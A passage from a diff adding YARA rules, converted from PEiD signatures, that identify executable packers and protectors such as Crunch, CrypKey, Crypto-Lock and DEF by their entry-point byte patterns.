+    condition:
+        $a
+}
+
+rule PEiD_00415_Crunch_4_0_
+{
+    meta:
+        description = "[Crunch 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00416_Crunch_5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 -> Bit-Arts]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+    condition:
+        $a
+}
+
+rule PEiD_00417_Crunch_5___Fusion_4____Bit_Arts_
+{
+    meta:
+        description = "[Crunch 5 / Fusion 4 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00418_Crunch_5_Fusion_4_
+{
+    meta:
+        description = "[Crunch 5 Fusion 4]"
+        ep_only = "false"
+    strings:
+        $a = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00419_Crunch_v4_0_
+{
+    meta:
+        description = "[Crunch v4.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a
+}
+
+rule PEiD_00420_Crunch_v5____Bit_Arts_
+{
+    meta:
+        description = "[Crunch v5 -> Bit-Arts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1}
+    condition:
+        $a
+}
+
+rule PEiD_00421_Crunch_V5_0____Bitarts_
+{
+    meta:
+        description = "[Crunch V5.0 -> Bitarts]"
+        ep_only = "true"
+    strings:
+        $a = {EB 15 03 00 00 00 06}
+    condition:
+        $a
+}
+
+rule PEiD_00422_Crunch_PE_4_0_
+{
+    meta:
+        description = "[Crunch/PE 4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+    condition:
+        $a
+}
+
+rule PEiD_00423_Crunch_PE_v1_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v1.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+    condition:
+        $a
+}
+
+rule PEiD_00424_Crunch_PE_v2_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v2.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+    condition:
+        $a
+}
+
+rule PEiD_00425_Crunch_PE_v3_0_x_x_
+{
+    meta:
+        description = "[Crunch/PE v3.0.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_00426_Crunch_PE_v4_0_
+{
+    meta:
+        description = "[Crunch/PE v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 E9 06 ?? ?? 89 85 E1 06 ?? ?? FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+    condition:
+        $a
+}
+
+rule PEiD_00427_Crunch_PE_
+{
+    meta:
+        description = "[Crunch/PE]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+    condition:
+        $a
+}
+
+rule PEiD_00428_Cruncher_v1_0_
+{
+    meta:
+        description = "[Cruncher v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00429_CrypKey____Kenonic_Controls__h__
+{
+    meta:
+        description = "[CrypKey -> Kenonic Controls (h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? 3E 00 83 FB 00 75 0A E8 3C 00 00 00 E8 ?? 0A 00 00 8B 44 24 08 50 E8 ?? 02 00 00 A1 ?? ?? 3E 00 83 F8 01 74 06 FF 25 14 ?? 3E 00 C3 C8 00 00 00 53 8B 5D 08 33 C0 8B 4D 0C 8B 13 33 D3 83 C3 04 03 C2 49 75 F4 5B C9 C3 56 68 ?? ?? 3E 00 E8 ?? 16 00 00 8B F0 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00430_CrypKey_v5___v6_
+{
+    meta:
+        description = "[CrypKey v5 - v6]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+    condition:
+        $a
+}
+
+rule PEiD_00431_CrypKey_V5_6_X____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00432_CrypKey_V5_6_X_DLL____Kenonic_Controls_Ltd__
+{
+    meta:
+        description = "[CrypKey V5.6.X DLL -> Kenonic Controls Ltd.]"
+        ep_only = "true"
+    strings:
+        $a = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+rule PEiD_00433_CrypKey_V6_1X_DLL____CrypKey__Canada__Inc__
+{
+    meta:
+        description = "[CrypKey V6.1X DLL -> CrypKey (Canada) Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00434_CRYPT_Version_1_7__c__Dismember__COM__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (COM)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+    condition:
+        $a
+}
+
+rule PEiD_00435_CRYPT_Version_1_7__c__Dismember__EXE__
+{
+    meta:
+        description = "[CRYPT Version 1.7 (c) Dismember (EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00436_CryptCom_v1_1_
+{
+    meta:
+        description = "[CryptCom v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 57 BE ?? ?? ?? B9 ?? ?? F3 A4 C3 8B ?? ?? ?? 8B ?? ?? ?? BF ?? ?? 57 BE ?? ?? ?? AD 33 C2 AB E2 ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_00437_Crypter_3_1____SLESH_
+{
+    meta:
+        description = "[Crypter 3.1 -> SLESH]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+    condition:
+        $a
+}
+
+rule PEiD_00438_Cryptic_2_0____Tughack_
+{
+    meta:
+        description = "[Cryptic 2.0 -> Tughack]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+    condition:
+        $a
+}
+
+rule PEiD_00439_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00440_Crypto_Lock_2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock 2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00441_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+    condition:
+        $a
+}
+
+rule PEiD_00442_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a
+}
+
+rule PEiD_00443_Crypto_Lock_v2_02__Eng_____Ryan_Thian_
+{
+    meta:
+        description = "[Crypto-Lock v2.02 (Eng) -> Ryan Thian]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+    condition:
+        $a
+}
+
+rule PEiD_00444_CRYPToCRACk_s_PE_Protector_V0_9_2____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+    condition:
+        $a
+}
+
+rule PEiD_00445_CRYPToCRACk_s_PE_Protector_v0_9_3____Lucas_Fleischer__h__
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector v0.9.3 -> Lucas Fleischer (h)]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00 00 81 EB 00 01 00 00 75 BE 90 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 7A ?? ?? ?? 72 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 C1 00 46 61 74 61 6C 45 78 69 74}
+    condition:
+        $a
+}
+
+rule PEiD_00446_CRYPToCRACk_s_PE_Protector_V0_9_3____Lukas_Fleischer___Sign_by_fly_
+{
+    meta:
+        description = "[CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00447_CrypWrap_vx_x_
+{
+    meta:
+        description = "[CrypWrap vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+    condition:
+        $a
+}
+
+rule PEiD_00448_Cygwin32_
+{
+    meta:
+        description = "[Cygwin32]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 04 83 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00449_D1NS1G____D1N_
+{
+    meta:
+        description = "[D1NS1G -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00450_D1S1G_v1_1_Beta____Scrambled_EXE____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 Beta ++ Scrambled EXE -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00451_D1S1G_v1_1_beta_____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 beta --> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00452_DAEMON_Protect_v0_6_7_
+{
+    meta:
+        description = "[DAEMON Protect v0.6.7]"
+        ep_only = "true"
+    strings:
+        $a = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+    condition:
+        $a
+}
+
+rule PEiD_00453_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a
+}
+
+rule PEiD_00454_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a
+}
+
+rule PEiD_00455_DBPE_v1_53_
+{
+    meta:
+        description = "[DBPE v1.53]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+    condition:
+        $a
+}
+
+rule PEiD_00456_DBPE_v2_10_
+{
+    meta:
+        description = "[DBPE v2.10]"
+        ep_only = "true"
+    strings:
+        $a = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00457_DCrypt_Private_0_9b____drmist_
+{
+    meta:
+        description = "[DCrypt Private 0.9b -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+    condition:
+        $a
+}
+
+rule PEiD_00458_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00459_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00460_DEF_1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF 1.00 (Eng) -> bart/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00461_DEF_v1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF v1.00 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00462_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+    condition:
+        $a
+}
+
+rule PEiD_00463_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00464_dePACK____deNULL_
+{
